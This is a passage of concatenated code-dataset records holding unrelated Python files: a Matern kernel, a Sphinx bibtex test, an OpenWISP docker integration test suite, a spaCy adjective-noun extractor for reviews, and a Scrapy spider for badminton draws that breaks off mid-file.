kernmat = np.exp(-(pdists ** 2) / 2.0)\n else:\n # The modified Bessel function K_nu is not defined for z=0\n pdists[pdists == 0.0] += np.finfo(float).eps\n scaled_pdists = np.sqrt(2 * self.nu) * pdists\n kernmat = (\n 2 ** (1.0 - self.nu)\n / scipy.special.gamma(self.nu)\n * scaled_pdists ** self.nu\n * scipy.special.kv(self.nu, scaled_pdists)\n )\n\n return Kernel._reshape_kernelmatrix(kernmat, newshape=kernshape)\n","sub_path":"src/probnum/kernels/_matern.py","file_name":"_matern.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"172232262","text":"\"\"\"\n test_issue87\n ~~~~~~~~~~~~\n\n Test bibliography tags.\n\"\"\"\n\nimport re\n\nfrom sphinx_testing.util import path, with_app\n\nsrcdir = path(__file__).dirname().joinpath('issue87').abspath()\n\n\ndef teardown_module():\n (srcdir / '_build').rmtree(True)\n\n\n@with_app(srcdir=srcdir, warningiserror=True)\ndef test_issue87(app, status, warning):\n app.builder.build_all()\n output = (path(app.outdir) / \"doc0.html\").read_text(encoding='utf-8')\n assert re.search(\n 'class=\"bibtex reference internal\" href=\"#tag0-2009-mandel\"', output)\n assert re.search(\n 'class=\"bibtex reference internal\" href=\"#tag0-2003-evensen\"', output)\n assert re.search('AMan09', output)\n assert re.search('AEve03', output)\n output = (path(app.outdir) / \"doc1.html\").read_text(encoding='utf-8')\n assert re.search(\n 'class=\"bibtex reference internal\" href=\"#tag1-2009-mandel\"', output)\n assert not re.search(\n 'class=\"bibtex reference internal\" href=\"#tag1-2003-evensen\"', output)\n assert re.search('BMan09', output)\n assert not re.search('BEve03', output)\n","sub_path":"test/test_issue87.py","file_name":"test_issue87.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"33865884","text":"import os\nimport ssl\nimport subprocess\nimport time\nimport unittest\nfrom urllib import error as urlerror\nfrom urllib import request\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.chrome.options import Options as ChromiumOptions\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom utils import TestConfig, TestUtilities\n\n\nclass Pretest(TestConfig, unittest.TestCase):\n \"\"\"\n Checks to perform before tests\n \"\"\"\n\n def test_wait_for_services(self):\n \"\"\"\n This test wait for services to be started up and check\n if the openwisp-dashboard login page is reachable.\n Should be called first before calling another test.\n \"\"\"\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n\n isServiceReachable = False\n max_retries = self.config['services_max_retries']\n delay_retries = self.config['services_delay_retries']\n admin_login_page = f\"{self.config['app_url']}/admin/login/\"\n for _ in range(1, max_retries):\n try:\n # check if we can reach to admin login page\n # and the page return 200 OK status code\n if request.urlopen(admin_login_page, context=ctx).getcode() == 200:\n isServiceReachable = True\n break\n except (urlerror.HTTPError, OSError, ConnectionResetError):\n # if error occured, retry to reach the admin\n # login page after delay_retries second(s)\n time.sleep(delay_retries)\n if not isServiceReachable:\n self.fail('ERROR: openwisp-dashboard login page not reachable!')\n\n\nclass TestServices(TestUtilities, unittest.TestCase):\n @property\n def failureException(self):\n TestServices.failed_test = True\n return super().failureException\n\n @classmethod\n def setUpClass(cls):\n cls.failed_test = False\n # Django Test Setup\n if cls.config['load_init_data']:\n test_data_file = os.path.join(\n os.path.dirname(os.path.realpath(__file__)), 'data.py'\n )\n entrypoint = \"python manage.py shell --command='import data; data.setup()'\"\n cmd = subprocess.Popen(\n [\n 'docker-compose',\n 'run',\n '--rm',\n '--entrypoint',\n entrypoint,\n '--volume',\n f'{test_data_file}:/opt/openwisp/data.py',\n 'dashboard',\n ],\n universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=cls.root_location,\n )\n output, error = map(str, cmd.communicate())\n with open(cls.config['logs_file'], 'w') as logs_file:\n logs_file.write(output)\n logs_file.write(error)\n subprocess.run(\n ['docker-compose', 'up', '--detach'],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n cwd=cls.root_location,\n )\n # Create base drivers (Firefox)\n if cls.config['driver'] == 'firefox':\n profile = webdriver.FirefoxProfile()\n profile.accept_untrusted_certs = True\n options = webdriver.FirefoxOptions()\n capabilities = DesiredCapabilities.FIREFOX\n capabilities['loggingPrefs'] = {'browser': 'ALL'}\n if cls.config['headless']:\n options.add_argument('-headless')\n cls.base_driver = webdriver.Firefox(\n options=options,\n capabilities=capabilities,\n service_log_path='/tmp/geckodriver.log',\n firefox_profile=profile,\n )\n cls.second_driver = webdriver.Firefox(\n options=options,\n capabilities=capabilities,\n service_log_path='/tmp/geckodriver.log',\n firefox_profile=profile,\n )\n # Create base drivers (Chromium)\n if cls.config['driver'] == 'chromium':\n chrome_options = ChromiumOptions()\n chrome_options.add_argument('--ignore-certificate-errors')\n capabilities = DesiredCapabilities.CHROME\n capabilities['goog:loggingPrefs'] = {'browser': 'ALL'}\n if cls.config['headless']:\n chrome_options.add_argument('--headless')\n cls.base_driver = webdriver.Chrome(\n options=chrome_options, desired_capabilities=capabilities\n )\n cls.second_driver = webdriver.Chrome(\n options=chrome_options, desired_capabilities=capabilities\n )\n cls.base_driver.set_window_size(1366, 768)\n cls.second_driver.set_window_size(1366, 768)\n\n @classmethod\n def tearDownClass(cls):\n for resource_link in cls.objects_to_delete:\n try:\n cls._delete_object(resource_link)\n except NoSuchElementException:\n print(f'Unable to delete resource at: {resource_link}')\n cls.second_driver.close()\n cls.base_driver.close()\n if cls.failed_test and cls.config['logs']:\n cmd = subprocess.Popen(\n ['docker-compose', 'logs'],\n universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=cls.root_location,\n )\n output, _ = map(str, cmd.communicate())\n print(f'One of the containers are down!\\nOutput:\\n{output}')\n\n @classmethod\n def _delete_object(cls, resource_link):\n \"\"\"\n Takes URL for location to delete.\n \"\"\"\n cls.base_driver.get(resource_link)\n element = cls.base_driver.find_element_by_class_name('deletelink-box')\n js = \"arguments[0].setAttribute('style', 'display:block')\"\n cls.base_driver.execute_script(js, element)\n element.find_element_by_class_name('deletelink').click()\n cls.base_driver.find_element_by_xpath('//input[@type=\"submit\"]').click()\n\n def test_topology_graph(self):\n path = '/admin/topology/topology'\n label = 'automated-selenium-test-02'\n self.login()\n self.create_network_topology(label)\n self.action_on_resource(label, path, 'delete_selected')\n self.assertNotIn('Nodes', self.base_driver.page_source)\n self.action_on_resource(label, path, 'update_selected')\n time.sleep(4) # Wait for nodes to be fetched!\n self.action_on_resource(label, path, 'delete_selected')\n self.assertIn('Nodes', self.base_driver.page_source)\n\n def test_admin_login(self):\n self.login()\n self.login(driver=self.second_driver)\n try:\n self.base_driver.find_element_by_class_name('logout')\n self.second_driver.find_element_by_class_name('logout')\n except NoSuchElementException:\n message = (\n 'Login failed. Credentials used were username: '\n f\"{self.config['username']} & Password: {self.config['password']}\"\n )\n self.fail(message)\n\n def test_console_errors(self):\n url_list = [\n '/admin/',\n '/admin/geo/location/add/',\n '/accounts/password/reset/',\n '/admin/config/device/add/',\n '/admin/config/template/add/',\n '/admin/openwisp_radius/radiuscheck/add/',\n '/admin/openwisp_radius/radiusgroup/add/',\n '/admin/openwisp_radius/radiusbatch/add/',\n '/admin/openwisp_radius/nas/add/',\n '/admin/openwisp_radius/radiusreply/',\n '/admin/geo/floorplan/add/',\n '/admin/topology/link/add/',\n '/admin/topology/node/add/',\n '/admin/topology/topology/add/',\n '/admin/pki/ca/add/',\n '/admin/pki/cert/add/',\n '/admin/openwisp_users/user/add/',\n '/admin/firmware_upgrader/build/',\n '/admin/firmware_upgrader/build/add/',\n '/admin/firmware_upgrader/category/',\n '/admin/firmware_upgrader/category/add/',\n ]\n change_form_list = [\n ['automated-selenium-location01', '/admin/geo/location/'],\n ['users', '/admin/openwisp_radius/radiusgroup/'],\n ['default-management-vpn', '/admin/config/template/'],\n ['default', '/admin/config/vpn/'],\n ['default', '/admin/pki/ca/'],\n ['default', '/admin/pki/cert/'],\n ['default', '/admin/openwisp_users/organization/'],\n ['test_superuser2', '/admin/openwisp_users/user/'],\n ]\n self.login()\n self.create_mobile_location('automated-selenium-location01')\n self.create_superuser('sample@email.com', 'test_superuser2')\n # url_list tests\n for url in url_list:\n self.base_driver.get(f\"{self.config['app_url']}{url}\")\n self.assertEqual([], self.console_error_check())\n self.assertIn('OpenWISP', self.base_driver.title)\n # change_form_list tests\n for change_form in change_form_list:\n self.get_resource(change_form[0], change_form[1])\n self.assertEqual([], self.console_error_check())\n self.assertIn('OpenWISP', self.base_driver.title)\n\n def test_websocket_marker(self):\n \"\"\"\n This test ensures that websocket service is running correctly\n using selenium by creating a new location, setting a map marker\n and checking if the location changed on a second window.\n \"\"\"\n location_name = 'automated-websocket-selenium-loc01'\n self.login()\n self.login(driver=self.second_driver)\n self.create_mobile_location(location_name)\n self.get_resource(location_name, '/admin/geo/location/')\n self.get_resource(\n location_name, '/admin/geo/location/', driver=self.second_driver\n )\n self.base_driver.find_element_by_name('is_mobile').click()\n mark = len(self.base_driver.find_elements_by_class_name('leaflet-marker-icon'))\n self.assertEqual(mark, 0)\n self.add_mobile_location_point(location_name, driver=self.second_driver)\n mark = len(self.base_driver.find_elements_by_class_name('leaflet-marker-icon'))\n self.assertEqual(mark, 1)\n\n def test_add_superuser(self):\n \"\"\"\n Create new user to ensure a new user\n can be added.\n \"\"\"\n self.login()\n self.create_superuser()\n self.assertEqual(\n 'The user “test_superuser” was changed successfully.',\n self.base_driver.find_elements_by_class_name('success')[0].text,\n )\n\n def test_forgot_password(self):\n \"\"\"\n Test forgot password to ensure that\n postfix is working properly.\n \"\"\"\n self.base_driver.get(f\"{self.config['app_url']}/accounts/password/reset/\")\n self.base_driver.find_element_by_name('email').send_keys('admin@example.com')\n self.base_driver.find_element_by_xpath('//input[@type=\"submit\"]').click()\n self.assertIn(\n 'We have sent you an e-mail. Please contact us if you '\n 'do not receive it within a few minutes.',\n self.base_driver.page_source,\n )\n\n def test_celery(self):\n \"\"\"\n Ensure celery and celery-beat tasks are registered.\n \"\"\"\n cmd = subprocess.Popen(\n [\n 'docker-compose',\n 'run',\n '--rm',\n 'celery',\n 'celery',\n '-A',\n 'openwisp',\n 'inspect',\n 'registered',\n ],\n universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=self.root_location,\n )\n output, error = map(str, cmd.communicate())\n\n expected_output_list = [\n \"openwisp.tasks.radius_tasks\",\n \"openwisp.tasks.save_snapshot\",\n \"openwisp.tasks.update_topology\",\n \"openwisp_controller.config.tasks.create_vpn_dh\",\n \"openwisp_controller.config.tasks.update_template_related_config_status\",\n \"openwisp_controller.connection.tasks.update_config\",\n \"openwisp_notifications.tasks.delete_ignore_object_notification\",\n \"openwisp_notifications.tasks.delete_notification\",\n \"openwisp_notifications.tasks.delete_obsolete_objects\",\n \"openwisp_notifications.tasks.delete_old_notifications\",\n \"openwisp_notifications.tasks.ns_organization_created\",\n \"openwisp_notifications.tasks.ns_organization_user_added_or_updated\",\n \"openwisp_notifications.tasks.ns_organization_user_deleted\",\n \"openwisp_notifications.tasks.ns_register_unregister_notification_type\",\n \"openwisp_notifications.tasks.ns_user_created\",\n \"openwisp_radius.tasks.cleanup_stale_radacct\",\n \"openwisp_radius.tasks.deactivate_expired_users\",\n \"openwisp_radius.tasks.delete_old_postauth\",\n \"openwisp_radius.tasks.delete_old_radacct\",\n \"openwisp_radius.tasks.delete_old_users\",\n ]\n\n for expected_output in expected_output_list:\n if expected_output not in output:\n self.fail(\n 'Not all celery / celery-beat tasks are registered\\nOutput:\\n'\n f'{output}\\nError:\\n{error}'\n )\n\n def test_freeradius(self):\n \"\"\"\n Ensure freeradius service is working correctly.\n \"\"\"\n # Get User Auth Token\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n\n token_page = f\"{self.config['radius_url']}/api/v1/default/account/token/\"\n request_body = \"username=admin&password=admin\".encode('utf-8')\n request_info = request.Request(token_page, data=request_body)\n try:\n response = request.urlopen(request_info, context=ctx)\n except (urlerror.HTTPError, OSError, ConnectionResetError):\n self.fail(f\"Couldn't get radius-token, check {self.config['radius_url']}\")\n self.assertIn('\"is_active\":true', response.read().decode())\n\n # Install Requirements\n # Should not be required after upgrading to 3.0.22-alpine\n subprocess.Popen(\n [\n 'docker',\n 'exec',\n 'docker-openwisp_freeradius_1',\n 'apk',\n 'add',\n 'freeradius',\n 'freeradius-radclient',\n ],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n cwd=self.root_location,\n ).communicate()\n\n # Radtest\n radtest = subprocess.Popen(\n [\n 'docker',\n 'exec',\n 'docker-openwisp_freeradius_1',\n 'radtest',\n 'admin',\n 'admin',\n 'localhost',\n '0',\n 'testing123',\n ],\n universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=self.root_location,\n )\n\n output, error = map(str, radtest.communicate())\n if 'Received Access-Accept' not in output:\n self.fail(f'Request not Accepted!\\nOutput:\\n{output}\\nError:\\n{error}')\n\n # Clean Up\n # Should not be required after upgrading to 3.0.22-alpine\n remove_tainted_container = [\n 'docker-compose rm -sf freeradius',\n 'docker-compose up -d freeradius',\n ]\n for command in remove_tainted_container:\n subprocess.Popen(\n command.split(),\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n cwd=self.root_location,\n ).communicate()\n\n def test_containers_down(self):\n \"\"\"\n Ensure freeradius service is working correctly.\n \"\"\"\n cmd = subprocess.Popen(\n ['docker-compose', 'ps'],\n universal_newlines=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=self.root_location,\n )\n output, error = map(str, cmd.communicate())\n if 'Exit' in output:\n self.fail(\n f'One of the containers are down!\\nOutput:\\n{output}\\nError:\\n{error}'\n )\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=3)\n","sub_path":"tests/runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":16802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"114212663","text":"from pathlib import Path\n\nimport pandas as pd\nimport re\nimport spacy\nimport random\nfrom os import getcwd\nfrom os.path import join\nfrom nltk.tokenize import sent_tokenize\nfrom collections import Counter\n\nnlp = spacy.load(\"en_core_web_sm\")\n\nnumberOfBusinessId = 5\nnumberOfPairs = 5\nwithExtra = False\n\n\ndef selectNBusinessId(df, seed=4, business_id_num=5):\n business_id_list = df.business_id.values.tolist()\n random.Random(4).shuffle(business_id_list)\n\n df_5 = df[df.business_id.isin(business_id_list[:business_id_num])]\n\n bs_text_map = dict()\n for bid in business_id_list[:business_id_num]:\n bs_text_map[bid] = df_5[df_5['business_id'] == bid].text.tolist()\n\n print('\\n\\n{} Selecting {} business ID {}\\n'.format('-' * 20, business_id_num, '-' * 20))\n\n for b in bs_text_map.keys():\n print('Business ID: ', b)\n\n return bs_text_map\n\n\nclass NounAndAdjPair:\n patterns = ['(ADJ )*(NOUN )+(ADV )*(VERB )+(ADV )*ADJ ', # The Korean grill is good\n '(NOUN )+.*PRON (VERB )+(ADV )*ADJ ', # I like the food, which is good\n '(ADV )*ADJ (NOUN )+', # good service\n ]\n\n def __init__(self, doc, with_extra=False):\n\n def get_doc():\n return re.sub(' +', ' ', self.original_doc.replace('\\n', ' ').strip()).lower()\n\n def get_original_sentences():\n return [s for s in sent_tokenize(self.doc)] # nltk tokenizer\n\n def get_sentences():\n return [' '.join([w.text for w in nlp(s)]) for s in self.original_sentences] # spacy word tokenizer\n\n def get_taggings():\n return [' '.join([w.pos_ for w in nlp(s)]) + ' ' for s in self.original_sentences]\n\n self.withExtra = with_extra\n self.original_doc = doc\n self.doc = get_doc()\n self.original_sentences = get_original_sentences()\n self.sentences = get_sentences()\n self.taggings = get_taggings()\n\n # print(len(self.sentences), len(self.taggings))\n\n def getPairsWithFSA(self, returnOnlyPairs=False, returnInDf=False):\n\n def check_if_adj_and_noun_exists(tagging):\n if 'ADJ' in tagging and 'NOUN' in tagging:\n return True\n return False\n\n def get_wolds_by_tagging_index(target_tagging_index, no_sentence, no_pattern):\n\n original_sentence = self.sentences[no_sentence]\n original_tagging = self.taggings[no_sentence].strip()\n\n baseIndex = 0 if target_tagging_index[0] == 0 else len(\n original_tagging[:target_tagging_index[0]].strip().split(' '))\n buildIndex = len(original_tagging[target_tagging_index[0]:target_tagging_index[1]].strip().split(' '))\n\n trimmed_tagging_list = original_tagging.strip().split(' ')[baseIndex: baseIndex + buildIndex]\n trimmed_sentence_list = original_sentence.split(' ')[baseIndex: baseIndex + buildIndex]\n\n noun_adj_pair = []\n\n if no_pattern == 0: # the first pattern\n if self.withExtra:\n last_verb_index = len(trimmed_tagging_list) - trimmed_tagging_list[::-1].index('VERB') - 1\n for i in range(len(trimmed_tagging_list)):\n if trimmed_tagging_list[i] not in ['ADJ', 'NOUN']: # filter out adv\n break\n noun_adj_pair.append(' '.join(trimmed_sentence_list[:i]))\n noun_adj_pair.append(' '.join(trimmed_sentence_list[last_verb_index + 1:]))\n else:\n noun_adj_pair.append(' '.join([trimmed_sentence_list[i] for i in\n [i for i, t in enumerate(trimmed_tagging_list) if t == \"NOUN\"]]))\n noun_adj_pair.append(trimmed_sentence_list[-1])\n\n\n elif no_pattern == 1:\n if self.withExtra:\n last_noun_end_index = len(trimmed_tagging_list) - trimmed_tagging_list[::-1].index('NOUN') - 1\n last_noun_start_index = last_noun_end_index\n for i in range(last_noun_end_index, 0, -1):\n if trimmed_tagging_list[i] == 'NOUN':\n last_noun_start_index = i\n else:\n break\n\n last_verb_index = len(trimmed_tagging_list) - trimmed_tagging_list[::-1].index('VERB') - 1\n\n noun_adj_pair.append(' '.join(trimmed_sentence_list[last_noun_start_index:last_noun_end_index + 1]))\n noun_adj_pair.append(' '.join(trimmed_sentence_list[last_verb_index + 1:]))\n else:\n noun_index = [i for i, t in enumerate(trimmed_tagging_list) if t == \"NOUN\"][::-1]\n if len(noun_index) == 1:\n noun_adj_pair.append(' '.join([trimmed_sentence_list[i] for i in noun_index]))\n else:\n for noun_start_index in range(1, len(noun_index)):\n if noun_index[noun_start_index] != noun_index[noun_start_index - 1] - 1:\n break\n noun_adj_pair.append(\n ' '.join([trimmed_sentence_list[i] for i in noun_index[:noun_start_index][::1]]))\n noun_adj_pair.append(trimmed_sentence_list[-1])\n\n\n elif no_pattern == 2:\n if self.withExtra:\n noun_index = trimmed_tagging_list.index('NOUN')\n noun_adj_pair.append(' '.join(trimmed_sentence_list[noun_index:]))\n noun_adj_pair.append(' '.join(trimmed_sentence_list[:noun_index]))\n else:\n noun_adj_pair.append(' '.join([trimmed_sentence_list[i] for i in\n [i for i, t in enumerate(trimmed_tagging_list) if t == \"NOUN\"]]))\n noun_adj_pair.append(trimmed_sentence_list[trimmed_tagging_list.index('ADJ')])\n\n return tuple(noun_adj_pair)\n\n def form_df(sentence_adjNoun_pair):\n df = pd.DataFrame(columns=['Sentence', 'AdjNounPair'])\n pd.set_option('display.max_colwidth', -1)\n df.Sentence, df.AdjNounPair = list(sentence_adjNoun_pair.keys()), list(sentence_adjNoun_pair.values())\n return df\n\n sentence_adjNoun_pair = dict(zip(self.sentences, [[] for i in range(len(self.sentences))]))\n\n for i in range(len(self.sentences)):\n s = self.sentences[i]\n t = self.taggings[i]\n\n if check_if_adj_and_noun_exists(t):\n for p in self.patterns:\n for x in re.finditer(p, t):\n sentence_adjNoun_pair[s].append(get_wolds_by_tagging_index(x.span(), i, self.patterns.index(p)))\n\n if returnOnlyPairs:\n pairs = []\n for p in sentence_adjNoun_pair.values():\n pairs.extend(p)\n return pairs\n\n if returnInDf:\n return form_df(sentence_adjNoun_pair)\n\n return sentence_adjNoun_pair\n\n\ndef getPairs(bs_text_map, numberOfPairs=5, withExtra=False, returnInDf=True):\n bs_pair_map = dict(zip(list(bs_text_map.keys()), [[] for i in range(len(list(bs_text_map.keys())))]))\n\n print('\\n{} Getting pairs {}\\n'.format('-' * 25, '-' * 25))\n\n for b in list(bs_pair_map.keys()):\n print('Processing reviews from business ID: {} ...'.format(b))\n docs = bs_text_map[b]\n for doc in docs:\n doc_nlp = NounAndAdjPair(doc, with_extra=withExtra)\n bs_pair_map[b].extend(doc_nlp.getPairsWithFSA(returnOnlyPairs=True))\n\n for bs in list(bs_pair_map.keys()):\n keys = list(Counter(bs_pair_map[bs]).keys()) # equals to list(set(words))\n values = list(Counter(bs_pair_map[bs]).values())\n keys_index = sorted(range(len(values)), key=lambda k: values[k], reverse=True)\n bs_pair_map[bs] = [(keys[i], values[i]) for i in keys_index[:numberOfPairs]]\n\n if returnInDf:\n df = pd.DataFrame(columns=['BusinessId', 'AdjNounPair'])\n df.BusinessId, df.AdjNounPair = list(bs_pair_map.keys()), list(bs_pair_map.values())\n df.to_csv(join(getcwd(), 'core', 'examples', '3.3-Adj-Noun-Pairs', 'adj_noun_pairs1.csv'))\n return df\n\n return bs_pair_map\n\n\nif __name__ == \"__main__\":\n df = pd.read_csv(Path(__file__).absolute().parent / '../../data/data.csv')\n\n businessPairs = getPairs(selectNBusinessId(df, business_id_num=numberOfBusinessId), numberOfPairs=numberOfPairs,\n withExtra=withExtra)\n\n print('\\n\\n\\n{} RESULT {}\\n\\n'.format('-' * 28, '-' * 28))\n\n print(businessPairs.values)\n","sub_path":"core/examples/3.3-Adj-Noun-Pairs/adj_noun_extractor1.py","file_name":"adj_noun_extractor1.py","file_ext":"py","file_size_in_byte":8680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614956878","text":"# -*- coding: utf-8 -*-\nimport re\nimport sys\nimport os\nimport json\nimport datetime\nimport scrapy\nimport requests\nfrom scrapy.crawler import CrawlerProcess\nfrom pymongo import MongoClient\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\nsys.path.append('{}/../etc'.format(current_dir))\nimport settings\n\n\nclass DrawSpider(scrapy.Spider):\n name = \"bwf_badminton_draw_spider\"\n allowed_domains = [\"tournamentsoftware.com\"]\n base_url = \"https://bwf.tournamentsoftware.com/sport/draws.aspx?id={}\"\n\n def __init__(self, tournament_id, db):\n self.tournament_id = tournament_id\n self.url = self.base_url.format(tournament_id)\n self.db = db\n self.matches_data = self.get_matches_data()\n\n def get_matches_data(self):\n mapped_data = dict()\n match_in_db = self.db.match.find_one({\n 'tournament_id': self.tournament_id\n })\n if not match_in_db:\n return mapped_data\n matches = match_in_db['matches']\n for each_day_match in matches:\n for match in each_day_match['matches']:\n for team_1 in match['team_1']:\n if team_1.get('player_id') and\\\n team_1['player_id'] not in mapped_data:\n mapped_data.update({\n team_1['player_id']: {\n 'country': team_1['country_code'],\n 'name': team_1['name']\n }\n })\n for team_2 in match['team_2']:\n if team_2.get('player_id') and\\\n team_2['player_id'] not in mapped_data:\n mapped_data.update({\n team_2['player_id']: {\n 'country': team_2['country_code'],\n 'name': team_2['name']\n }\n })\n return mapped_data\n\n def get_player_id(self, player_name, country):\n for player_id, player_data in self.matches_data.items():\n name_parts = [part.lower().replace(',', '').strip()\n for part in player_name.split()]\n if all(n in player_data['name'].lower() for n in name_parts) and\\\n country.lower() in player_data['country'].lower():\n return player_id\n\n def start_requests(self):\n yield scrapy.Request(self.url)\n\n def parse(self, response):\n print('main url is')\n print(response.url)\n table_rows = response.xpath('//table[@class=\"ruler\"]/tbody/tr')\n data = list()\n for row in table_rows:\n name = row.xpath('td/a/text()').extract_first()\n draw_link = row.xpath('td/a/@href').extract_first()\n if 'https://' not in draw_link:\n draw_link = \"https://bwf.tournamentsoftware.com/sport/\" + draw_link\n size, draw_type, qualification_consolation = row.xpath('td/text()').extract()\n \n item = {\"name\": name, \n \"size\": size, \n \"draw_type\": draw_type,\n \"qualification_consolation\": qualification_consolation\n }\n data.append(item)\n \n # draw_link = response.url.replace('draws', 'draw') + '&draw=' + str(index)\n request = scrapy.Request(draw_link, self.parse_draw_link)\n request.meta['item'] = item\n yield request\n\n def parse_draw_link(self, response):\n item = response.meta['item']\n print('extracting for ', item['name'])\n print ('sub url is', response.url)\n table_headers = response.xpath('//div[@class=\"draw\"]/'\n 'table/thead/tr/td/text()').extract()\n if not table_headers:\n self.store_item_in_db(item)\n return\n rounds = [t.strip() for t in table_headers]\n has_rank = False\n has_club = False\n if 'rank' in rounds[0].lower():\n rounds = rounds[1:]\n has_rank = True\n\n if 'club' in rounds[0].lower():\n rounds = rounds[1:]\n has_club = True\n\n print ('rounds', rounds)\n stages = list()\n table_rows = response.xpath('//div[@class=\"draw\"]/table/tbody/tr')\n for index, each_round in enumerate(rounds):\n\n team_position = index+2 if (has_rank or has_club) else index+1\n\n round_data = list()\n for row in table_rows[2**index:][::2**(index+2)]:\n # value = row.xpath('td')[0].xpath('text()').extract_first()\n team_1 = list()\n team_1_block = row.xpath('td')[team_position].xpath('a')\n if team_1_block:\n if len(team_1_block) == 1:\n player_name = team_1_block[0].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_1.append({'player': player_name})\n\n if len(team_1_block) == 2:\n country_code = team_1_block[0].xpath('img/@alt')\\\n .extract_first()\n player_name = team_1_block[1].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_1.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n\n if len(team_1_block) == 4:\n country_code = team_1_block[0].xpath('img/@alt')\\\n .extract_first()\n player_name = team_1_block[1].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_1.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n\n country_code = team_1_block[2].xpath('img/@alt')\\\n .extract_first()\n player_name = team_1_block[3].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_1.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n else:\n player = row.xpath('td')[team_position].xpath('text()')\\\n .extract_first()\n team_1.append({'player': player.strip()})\n\n if 'winner' in each_round.lower():\n item['winner'] = team_1\n continue\n\n team_2 = list()\n team_2_block = row.xpath(\n 'following-sibling::tr[%s]/td' % (2**(index+1))\n )[team_position].xpath('a')\n if team_2_block:\n if len(team_2_block) == 1:\n player_name = team_2_block[0].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_2.append({'player': player_name})\n\n if len(team_2_block) == 2:\n country_code = team_2_block[0].xpath('img/@alt')\\\n .extract_first()\n player_name = team_2_block[1].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_2.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n\n if len(team_2_block) == 4:\n country_code = team_2_block[0].xpath('img/@alt')\\\n .extract_first()\n player_name = team_2_block[1].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_2.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n\n country_code = team_2_block[2].xpath('img/@alt')\\\n .extract_first()\n player_name = team_2_block[3].xpath('text()')\\\n .extract_first().split('[')[0].strip()\n team_2.append({\n 'player': player_name,\n 'country_code': country_code,\n 'player_id': self.get_player_id(player_name,\n country_code\n )\n })\n else:\n player = row.xpath(\n 'following-sibling::tr[%s]/td' % (2**(index+1))\n )[team_position].xpath('text()').extract_first()\n team_2.append({'player': player.strip()})\n\n try:\n score_block = row.xpath(\n 'following-sibling::tr[%s]/td' % ((2**(index+1)/2)+1)\n )[team_position+1]\n score = score_block.xpath('span/text()').extract() or\\\n score_block.xpath('span/span/text()').extract()\n except:\n score = ''\n try:\n winner_block = row.xpath(\n 'following-sibling::tr[%s]/td' % (2**(index+1)/2)\n )[team_position+1].xpath('a')\n winner = winner_block.xpath('text()').extract_first()\\\n .split('[')[0].strip()\n if winner in [player['player'] for player in team_1]:\n winner = 'team_1'\n else:\n winner = 'team_2'\n except:\n winner = \"\"\n score = ' '.join(s for s in score) if score else ''\n round_data.append({\n 'team_1': team_1,\n 'team_2': team_2,\n 'score': score,\n 'winner': winner\n })\n\n if 'winner' not in each_round.lower():\n stages.append({\n 'name': each_round,\n 'matches': round_data\n })\n item['stages'] = stages\n self.store_item_in_db(item)\n\n def store_item_in_db(self, item):\n condition = {'tournament_id': self.tournament_id}\n existing_draw = self.db.draw_running.find_one(condition)\n if existing_draw:\n existing_draw['draws'].append(item)\n self.db.draw_running.save(existing_draw)\n else:\n self.db.draw_running.insert({\n 'tournament_id': self.tournament_id,\n 'draws': [item]\n })\n\n\ndef should_run(tournament):\n end_date_parts = [int(elem.strip()) for elem in\n tournament[\"end_date\"].split(\" \")[0].split(\"-\")]\n\n end_date = datetime.datetime(end_date_parts[0],\n end_date_parts[1],\n end_date_parts[2]).date()\n\n today = datetime.datetime.now().date()\n\n if today <= (end_date + datetime.timedelta(days=1)):\n return True\n return False\n\n\ndef wipe_old_data(db, tournament_id):\n condition = {'tournament_id': tournament_id}\n db.draw_running.remove(condition)\n\n\ndef update_current_data(db, tournament_id):\n condition = {'tournament_id': tournament_id}\n current_draw = db.draw_running.find_one(condition)\n if current_draw:\n current_draws = current_draw['draws']\n draw_to_update = db.draw.find_one(condition)\n if draw_to_update:\n draw_to_update['draws'] = current_draws\n db.draw.save(draw_to_update)\n else:\n db.draw.insert({\n 'tournament_id': tournament_id,\n 'draws': current_draws\n })\n\n\ndef run_spider():\n print('Starting run_spider for draws')\n print(settings.PROXIES)\n process = 